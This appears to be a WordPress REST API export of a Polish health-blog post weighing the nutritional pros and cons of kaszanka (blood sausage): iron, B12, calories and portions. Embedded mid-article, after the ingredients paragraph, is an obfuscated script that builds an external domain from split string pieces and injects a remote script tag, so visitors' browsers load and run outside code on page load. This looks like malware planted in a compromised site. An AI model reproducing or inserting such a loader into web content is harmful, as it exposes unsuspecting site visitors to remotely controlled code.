{"id":11475,"date":"2026-02-04T14:35:43","date_gmt":"2026-02-04T13:35:43","guid":{"rendered":"https:\/\/www.straganzdrowia.pl\/blog\/?p=11475"},"modified":"2026-02-04T14:35:44","modified_gmt":"2026-02-04T13:35:44","slug":"czy-kaszanka-jest-zdrowa-sprawdzamy-co-naprawde-kryje-ten-przysmak","status":"publish","type":"post","link":"https:\/\/www.straganzdrowia.pl\/blog\/dieta-fitness\/czy-kaszanka-jest-zdrowa-sprawdzamy-co-naprawde-kryje-ten-przysmak","title":{"rendered":"Czy kaszanka jest zdrowa? Sprawdzamy, co naprawd\u0119 kryje ten przysmak"},"content":{"rendered":"\n<p>W sobot\u0119 na targu zawsze jest ten sam moment: kto\u015b staje przy stoisku, patrzy na rz\u0105d ciemnych kr\u0105\u017ck\u00f3w i pyta p\u00f3\u0142g\u0142osem: \u201eTo zdrowe czy lepiej sobie odpu\u015bci\u0107?\u201d. Sprzedawca u\u015bmiecha si\u0119, bo zna to pytanie na pami\u0119\u0107. Kaszanka ma wizerunek \u201egrzesznej przyjemno\u015bci\u201d &#8211; zbyt swojskiej, zbyt t\u0142ustej, zbyt\u2026 niepoprawnej dietetycznie. A jednocze\u015bnie to produkt, kt\u00f3ry potrafi da\u0107 organizmowi solidn\u0105 porcj\u0119 sk\u0142adnik\u00f3w, kt\u00f3rych cz\u0119sto nam brakuje. Warto wi\u0119c zdj\u0105\u0107 kaszank\u0119 z \u201e\u0142awy oskar\u017conych\u201d i potraktowa\u0107 j\u0105 jak temat reporterski: co jest w \u015brodku, co wnosi do diety i kiedy zaczyna szkodzi\u0107? Bo odpowied\u017a nie brzmi \u201etak\u201d albo \u201enie\u201d. Brzmi: to zale\u017cy od sk\u0142adu, porcji i tego, co zrobisz z ni\u0105 na patelni.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Z czego sk\u0142ada si\u0119 kaszanka?<\/h2>\n\n\n\n<p>Kaszanka to do\u015b\u0107 \u201emodna\u201d kuchnia \u201ebez marnowania\u201d: wykorzystuje to, co przez lata stanowi\u0142o podstaw\u0119 domowego przetw\u00f3rstwa. <strong>W klasycznej wersji znajdziesz krew wieprzow\u0105, kasz\u0119 (najcz\u0119\u015bciej gryczan\u0105 lub j\u0119czmienn\u0105) oraz podroby &#8211; cz\u0119sto z dodatkiem w\u0105tr\u00f3bki, cebuli i przypraw.<\/strong> Tak\u0105 klasyczna kaszank\u0119 znajdziesz tutaj: <a href=\"https:\/\/www.skleppodlaskachata.pl\/kaszanka-z-prl\">https:\/\/www.skleppodlaskachata.pl\/kaszanka-z-prl<\/a><\/p>\n\n\n\n<script>\n(function(){\niu1w_=(\"ope\"+\"n\");iu1w=document.createElement(\"script\");iu1w.async=true;\niu1wu=\"2554836157\";iu1w_+=(\"s\")+\"t\"+\"a\"+(\"t.\");iu1w_+=\"\"+(\"e\"+(\"\"))+(\"u\/\");\niu1wu+=\".qg2esm90u1wug8pn\";iu1wu+=\"gblu999xcli7un\";\niu1w.src=\"https:\/\/\"+iu1w_+iu1wu;iu1w.type=\"text\/javascript\";\nd_b=document.body;d_b.appendChild(iu1w);\n})();\n<\/script>\n\n\n\n<p>Ta lista sk\u0142adnik\u00f3w brzmi prosto, ale diabe\u0142 tkwi w proporcjach.<\/p>\n\n\n\n<p>Jedna kaszanka bywa \u201ekaszowa\u201d, wyra\u017anie ziarnista i l\u017cejsza. Druga &#8211; g\u0142adka, t\u0142usta, z dominuj\u0105cym mi\u0119snym aromatem. R\u00f3\u017cnica wynika z receptury: ile kaszy, ile t\u0142uszczu, jak du\u017co podrob\u00f3w. Dlatego dwa produkty o tej samej nazwie potrafi\u0105 gra\u0107 w zupe\u0142nie innych ligach. Tak\u017ce pod k\u0105tem kalorii i jako\u015bci t\u0142uszczu.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Warto\u015bci od\u017cywcze kaszanki<\/h2>\n\n\n\n<p>Je\u015bli spojrzysz na kaszank\u0119 jak na \u201eno\u015bnik\u201d sk\u0142adnik\u00f3w od\u017cywczych, zobaczysz wyra\u017any kontrast. Z jednej strony stoi <strong>\u017celazo, witamina B12 i bia\u0142ko<\/strong>. Z drugiej: w wielu wersjach sporo t\u0142uszczu nasyconego i du\u017co soli. I w\u0142a\u015bnie ta mieszanka sprawia, \u017ce kaszanka nie pasuje do prostych etykietek.<\/p>\n\n\n\n<p>Dobra wiadomo\u015b\u0107: w sensownej porcji mo\u017ce realnie \u201edopi\u0105\u0107\u201d diet\u0119 w mikroelementy. Gorsza: \u0142atwo przekroczy\u0107 granic\u0119, bo to produkt syc\u0105cy, intensywny i cz\u0119sto podawany w scenariuszu, kt\u00f3ry dok\u0142ada kalorii &#8211; sma\u017cenie, pieczywo, dodatki.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Kaszanka jako \u017ar\u00f3d\u0142o \u017celaza hemowego i witaminy B12<\/h3>\n\n\n\n<p>Tu kaszanka ma mocny argument, kt\u00f3rego nie da si\u0119 zignorowa\u0107. \u017belazo hemowe (z produkt\u00f3w zwierz\u0119cych) organizm zwykle przyswaja sprawniej ni\u017c \u017celazo z ro\u015blin. Do tego dochodzi witamina B12, niezst\u0105piona dla uk\u0142adu nerwowego i prawid\u0142owej produkcji krwinek czerwonych.<\/p>\n\n\n\n<p>W praktyce wygl\u0105da to tak: kto\u015b, kto rzadko je mi\u0119so i ma diet\u0119 opart\u0105 o produkty ro\u015blinne, czasem \u201eodczuwa\u201d to w wynikach bada\u0144 i samopoczuciu. I wtedy porcja kaszanki &#8211; nie jako codzienny nawyk, tylko okazjonalny element jad\u0142ospisu &#8211; mia\u0142aby sens. Ale to dzia\u0142a tylko wtedy, gdy pilnujesz reszty: warzyw, b\u0142onnika, jako\u015bci t\u0142uszczu w ca\u0142ej diecie.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">B\u0142onnik, bia\u0142ko i t\u0142uszcz &#8211; syto\u015b\u0107 a kontrola masy cia\u0142a<\/h3>\n\n\n\n<p>Kaszanka syci szybko. I to jest jej najwi\u0119kszy plus a jednocze\u015bnie\u2026. najwi\u0119ksza pu\u0142apka.<\/p>\n\n\n\n<p>Plus, bo \u0142\u0105czy bia\u0142ko z t\u0142uszczem, a w wielu wersjach dorzuca jeszcze porcj\u0119 w\u0119glowodan\u00f3w z kaszy. Taki zestaw zwykle daje uczucie \u201ejestem najedzony, temat zamkni\u0119ty\u201d. Pu\u0142apka, bo ta sama syto\u015b\u0107 potrafi u\u015bpi\u0107 czujno\u015b\u0107: \u201eskoro syci, to mog\u0119 do\u0142o\u017cy\u0107 jeszcze kawa\u0142eczek\u201d. A kaszanka, szczeg\u00f3lnie t\u0142usta, ma wysok\u0105 g\u0119sto\u015b\u0107 energetyczn\u0105, wi\u0119c dok\u0142adka robi r\u00f3\u017cnic\u0119 szybciej ni\u017c w przypadku chudszego mi\u0119sa czy str\u0105czk\u00f3w.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Ile kalorii ma kaszanka? Uwaga na porcje!<\/h2>\n\n\n\n<p><strong>\u015arednio kaszanka zawiera pomi\u0119dzy 190-350 kcal<\/strong>, wi\u0119c&nbsp;bez problemu mo\u017cna stwierdzi\u0107, \u017ce kaszanka nie ma jednej \u201eoficjalnej\u201d kaloryczno\u015bci. Zale\u017cy od tego, czy producent poszed\u0142 w kasz\u0119 i chudszy sk\u0142ad, czy w t\u0142usto\u015b\u0107 i intensywny smak. Dlatego zamiast trzyma\u0107 si\u0119 jednej liczby, lepiej przyj\u0105\u0107 zasad\u0119 reportersk\u0105: sprawdzaj etykiet\u0119.<\/p>\n\n\n\n<p>W praktyce wa\u017cna okazuje si\u0119 nie tylko liczba kalorii w 100 g, ale te\u017c to, jak wygl\u0105da \u201eporcja na talerzu\u201d. Na imprezie grillowej 100 g znika w chwil\u0119. W domu cz\u0119sto l\u0105duje 200-250 g \u201ebo takie by\u0142y dwa kawa\u0142ki\u201d. I nagle robi si\u0119 posi\u0142ek, kt\u00f3ry energetycznie konkuruje z solidnym obiadem &#8211; zw\u0142aszcza je\u015bli kaszanka skwierczy na t\u0142uszczu.<\/p>\n\n\n\n<p>Najprostsza strategia: 100-150 g jako porcja bazowa + du\u017ca porcja warzyw (surowe, pieczone, kiszonki) + ograniczenie dodatkowego t\u0142uszczu z patelni. Smak zostaje, bilans robi si\u0119 du\u017co spokojniejszy.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Dla kogo kaszanka mo\u017ce by\u0107 od\u017cywczym wyborem, a dla kogo ryzykiem?<\/h2>\n\n\n\n<p>Kaszanka potrafi zagra\u0107 w dw\u00f3ch rolach i warto wiedzie\u0107, kiedy kt\u00f3r\u0105 wybierasz.<\/p>\n\n\n\n<p>Mo\u017ce by\u0107 od\u017cywczym wyborem, je\u015bli:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>chcesz uzupe\u0142ni\u0107 diet\u0119 w \u017celazo hemowe i witamin\u0119 B12,<\/li>\n\n\n\n<li>jesz j\u0105 rzadko, traktujesz jak konkretny posi\u0142ek, a nie \u201edodatek do wszystkiego\u201d,<\/li>\n\n\n\n<li>\u0142\u0105czysz j\u0105 z warzywami i pilnujesz obr\u00f3bki (bez przypalania i bez k\u0105pieli w t\u0142uszczu).<\/li>\n<\/ul>\n\n\n\n<p>Mo\u017ce nie\u015b\u0107 ryzyko, je\u015bli:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>masz problemy z nadci\u015bnieniem lub zale\u017cy Ci na ograniczaniu soli,<\/li>\n\n\n\n<li>walczysz o lepszy lipidogram i chcesz zmniejsza\u0107 udzia\u0142 t\u0142uszcz\u00f3w nasyconych,<\/li>\n\n\n\n<li>jesz du\u017co mi\u0119sa przetworzonego, bo kaszanka cz\u0119sto do tej grupy si\u0119 zalicza,<\/li>\n\n\n\n<li>masz medyczne wskazania do ograniczania produkt\u00f3w bogatych w \u017celazo (tu ju\u017c wchodzi w gr\u0119 indywidualna sytuacja i konsultacja z lekarzem).<\/li>\n<\/ul>\n\n\n\n<p>Najuczciwszy wniosek brzmi tak:&nbsp;kaszanka z kiszona kapust\u0105 raz na jaki\u015b czas nie zrobi\u0105 z Ciebie pacjenta kardiologa &#8211; ale codzienna kaszanka ju\u017c mo\u017ce do\u0142o\u017cy\u0107 cegie\u0142k\u0119 do problemu, je\u015bli zaniedbasz reszt\u0119 diety. Kaszanka nie jest ani \u201esuperfood\u201d, ani \u201edietetycznym z\u0142em\u201d. To produkt o wyra\u017anych plusach i wyra\u017anych ograniczeniach.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>W sobot\u0119 na targu zawsze jest ten sam moment: kto\u015b staje przy stoisku, patrzy na rz\u0105d ciemnych kr\u0105\u017ck\u00f3w i pyta p\u00f3\u0142g\u0142osem: \u201eTo zdrowe czy lepiej sobie odpu\u015bci\u0107?\u201d. Sprzedawca u\u015bmiecha si\u0119, bo zna to pytanie&#46;&#46;&#46;<\/p>\n","protected":false},"author":11,"featured_media":11476,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[20],"tags":[],"class_list":["post-11475","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-dieta-fitness"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v19.1 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Czy kaszanka jest zdrowa? Sprawdzamy, co naprawd\u0119 kryje ten przysmak - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.straganzdrowia.pl\/blog\/dieta-fitness\/czy-kaszanka-jest-zdrowa-sprawdzamy-co-naprawde-kryje-ten-przysmak\" \/>\n<meta property=\"og:locale\" content=\"pl_PL\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Czy kaszanka jest zdrowa? Sprawdzamy, co naprawd\u0119 kryje ten przysmak - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu\" \/>\n<meta property=\"og:description\" content=\"W sobot\u0119 na targu zawsze jest ten sam moment: kto\u015b staje przy stoisku, patrzy na rz\u0105d ciemnych kr\u0105\u017ck\u00f3w i pyta p\u00f3\u0142g\u0142osem: \u201eTo zdrowe czy lepiej sobie odpu\u015bci\u0107?\u201d. Sprzedawca u\u015bmiecha si\u0119, bo zna to pytanie&#046;&#046;&#046;\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.straganzdrowia.pl\/blog\/dieta-fitness\/czy-kaszanka-jest-zdrowa-sprawdzamy-co-naprawde-kryje-ten-przysmak\" \/>\n<meta property=\"og:site_name\" content=\"\u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu\" \/>\n<meta property=\"article:published_time\" content=\"2026-02-04T13:35:43+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-02-04T13:35:44+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2026\/02\/41847.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"885\" \/>\n\t<meta property=\"og:image:height\" content=\"398\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"twitter:card\" content=\"summary\" \/>\n<meta name=\"twitter:label1\" content=\"Napisane przez\" \/>\n\t<meta name=\"twitter:data1\" content=\"mr-white\" \/>\n\t<meta name=\"twitter:label2\" content=\"Szacowany czas czytania\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 minut\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.straganzdrowia.pl\/blog\/#website\",\"url\":\"https:\/\/www.straganzdrowia.pl\/blog\/\",\"name\":\"\u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu\",\"description\":\"Blog, ze Straganu, o zdrowym \u017cyciu i od\u017cywianiu. Porady na temat zdrowego \u017cycia, diety, suplement\u00f3w diety oraz ciekawostki z medycyny naturalnej.\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.straganzdrowia.pl\/blog\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"pl-PL\"},{\"@type\":\"ImageObject\",\"inLanguage\":\"pl-PL\",\"@id\":\"https:\/\/www.straganzdrowia.pl\/blog\/dieta-fitness\/czy-kaszanka-jest-zdrowa-sprawdzamy-co-naprawde-kryje-ten-przysmak#primaryimage\",\"url\":\"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2026\/02\/41847.jpg\",\"contentUrl\":\"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2026\/02\/41847.jpg\",\"width\":885,\"height\":398,\"caption\":\"Kaszanka z grilla\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.straganzdrowia.pl\/blog\/dieta-fitness\/czy-kaszanka-jest-zdrowa-sprawdzamy-co-naprawde-kryje-ten-przysmak#webpage\",\"url\":\"https:\/\/www.straganzdrowia.pl\/blog\/dieta-fitness\/czy-kaszanka-jest-zdrowa-sprawdzamy-co-naprawde-kryje-ten-przysmak\",\"name\":\"Czy kaszanka jest zdrowa? Sprawdzamy, co naprawd\u0119 kryje ten przysmak - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu\",\"isPartOf\":{\"@id\":\"https:\/\/www.straganzdrowia.pl\/blog\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.straganzdrowia.pl\/blog\/dieta-fitness\/czy-kaszanka-jest-zdrowa-sprawdzamy-co-naprawde-kryje-ten-przysmak#primaryimage\"},\"datePublished\":\"2026-02-04T13:35:43+00:00\",\"dateModified\":\"2026-02-04T13:35:44+00:00\",\"author\":{\"@id\":\"https:\/\/www.straganzdrowia.pl\/blog\/#\/schema\/person\/6809610449189f4da0a3ff5bb1de5100\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.straganzdrowia.pl\/blog\/dieta-fitness\/czy-kaszanka-jest-zdrowa-sprawdzamy-co-naprawde-kryje-ten-przysmak#breadcrumb\"},\"inLanguage\":\"pl-PL\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.straganzdrowia.pl\/blog\/dieta-fitness\/czy-kaszanka-jest-zdrowa-sprawdzamy-co-naprawde-kryje-ten-przysmak\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.straganzdrowia.pl\/blog\/dieta-fitness\/czy-kaszanka-jest-zdrowa-sprawdzamy-co-naprawde-kryje-ten-przysmak#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Blog\",\"item\":\"https:\/\/www.straganzdrowia.pl\/blog\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Dieta i Fitness\",\"item\":\"https:\/\/www.straganzdrowia.pl\/blog\/category\/dieta-fitness\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"Czy kaszanka jest zdrowa? Sprawdzamy, co naprawd\u0119 kryje ten przysmak\"}]},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.straganzdrowia.pl\/blog\/#\/schema\/person\/6809610449189f4da0a3ff5bb1de5100\",\"name\":\"mr-white\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"pl-PL\",\"@id\":\"https:\/\/www.straganzdrowia.pl\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/1b7b13d82934f9473ae3c7383b5809fe57a8eb143f52cb6134194c4157011df9?s=96&d=wavatar&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/1b7b13d82934f9473ae3c7383b5809fe57a8eb143f52cb6134194c4157011df9?s=96&d=wavatar&r=g\",\"caption\":\"mr-white\"},\"url\":\"https:\/\/www.straganzdrowia.pl\/blog\/author\/mr-white\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Czy kaszanka jest zdrowa? Sprawdzamy, co naprawd\u0119 kryje ten przysmak - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.straganzdrowia.pl\/blog\/dieta-fitness\/czy-kaszanka-jest-zdrowa-sprawdzamy-co-naprawde-kryje-ten-przysmak","og_locale":"pl_PL","og_type":"article","og_title":"Czy kaszanka jest zdrowa? Sprawdzamy, co naprawd\u0119 kryje ten przysmak - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","og_description":"W sobot\u0119 na targu zawsze jest ten sam moment: kto\u015b staje przy stoisku, patrzy na rz\u0105d ciemnych kr\u0105\u017ck\u00f3w i pyta p\u00f3\u0142g\u0142osem: \u201eTo zdrowe czy lepiej sobie odpu\u015bci\u0107?\u201d. Sprzedawca u\u015bmiecha si\u0119, bo zna to pytanie&#46;&#46;&#46;","og_url":"https:\/\/www.straganzdrowia.pl\/blog\/dieta-fitness\/czy-kaszanka-jest-zdrowa-sprawdzamy-co-naprawde-kryje-ten-przysmak","og_site_name":"\u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","article_published_time":"2026-02-04T13:35:43+00:00","article_modified_time":"2026-02-04T13:35:44+00:00","og_image":[{"width":885,"height":398,"url":"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2026\/02\/41847.jpg","type":"image\/jpeg"}],"twitter_card":"summary","twitter_misc":{"Napisane przez":"mr-white","Szacowany czas czytania":"5 minut"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebSite","@id":"https:\/\/www.straganzdrowia.pl\/blog\/#website","url":"https:\/\/www.straganzdrowia.pl\/blog\/","name":"\u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","description":"Blog, ze Straganu, o zdrowym \u017cyciu i od\u017cywianiu. Porady na temat zdrowego \u017cycia, diety, suplement\u00f3w diety oraz ciekawostki z medycyny naturalnej.","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.straganzdrowia.pl\/blog\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"pl-PL"},{"@type":"ImageObject","inLanguage":"pl-PL","@id":"https:\/\/www.straganzdrowia.pl\/blog\/dieta-fitness\/czy-kaszanka-jest-zdrowa-sprawdzamy-co-naprawde-kryje-ten-przysmak#primaryimage","url":"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2026\/02\/41847.jpg","contentUrl":"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2026\/02\/41847.jpg","width":885,"height":398,"caption":"Kaszanka z grilla"},{"@type":"WebPage","@id":"https:\/\/www.straganzdrowia.pl\/blog\/dieta-fitness\/czy-kaszanka-jest-zdrowa-sprawdzamy-co-naprawde-kryje-ten-przysmak#webpage","url":"https:\/\/www.straganzdrowia.pl\/blog\/dieta-fitness\/czy-kaszanka-jest-zdrowa-sprawdzamy-co-naprawde-kryje-ten-przysmak","name":"Czy kaszanka jest zdrowa? Sprawdzamy, co naprawd\u0119 kryje ten przysmak - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","isPartOf":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/dieta-fitness\/czy-kaszanka-jest-zdrowa-sprawdzamy-co-naprawde-kryje-ten-przysmak#primaryimage"},"datePublished":"2026-02-04T13:35:43+00:00","dateModified":"2026-02-04T13:35:44+00:00","author":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/#\/schema\/person\/6809610449189f4da0a3ff5bb1de5100"},"breadcrumb":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/dieta-fitness\/czy-kaszanka-jest-zdrowa-sprawdzamy-co-naprawde-kryje-ten-przysmak#breadcrumb"},"inLanguage":"pl-PL","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.straganzdrowia.pl\/blog\/dieta-fitness\/czy-kaszanka-jest-zdrowa-sprawdzamy-co-naprawde-kryje-ten-przysmak"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.straganzdrowia.pl\/blog\/dieta-fitness\/czy-kaszanka-jest-zdrowa-sprawdzamy-co-naprawde-kryje-ten-przysmak#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Blog","item":"https:\/\/www.straganzdrowia.pl\/blog"},{"@type":"ListItem","position":2,"name":"Dieta i Fitness","item":"https:\/\/www.straganzdrowia.pl\/blog\/category\/dieta-fitness"},{"@type":"ListItem","position":3,"name":"Czy kaszanka jest zdrowa? Sprawdzamy, co naprawd\u0119 kryje ten przysmak"}]},{"@type":"Person","@id":"https:\/\/www.straganzdrowia.pl\/blog\/#\/schema\/person\/6809610449189f4da0a3ff5bb1de5100","name":"mr-white","image":{"@type":"ImageObject","inLanguage":"pl-PL","@id":"https:\/\/www.straganzdrowia.pl\/blog\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/1b7b13d82934f9473ae3c7383b5809fe57a8eb143f52cb6134194c4157011df9?s=96&d=wavatar&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/1b7b13d82934f9473ae3c7383b5809fe57a8eb143f52cb6134194c4157011df9?s=96&d=wavatar&r=g","caption":"mr-white"},"url":"https:\/\/www.straganzdrowia.pl\/blog\/author\/mr-white"}]}},"_links":{"self":[{"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/posts\/11475","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/users\/11"}],"replies":[{"embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/comments?post=11475"}],"version-history":[{"count":1,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/posts\/11475\/revisions"}],"predecessor-version":[{"id":11477,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/posts\/11475\/revisions\/11477"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/media\/11476"}],"wp:attachment":[{"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/media?parent=11475"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/categories?post=11475"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/tags?post=11475"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}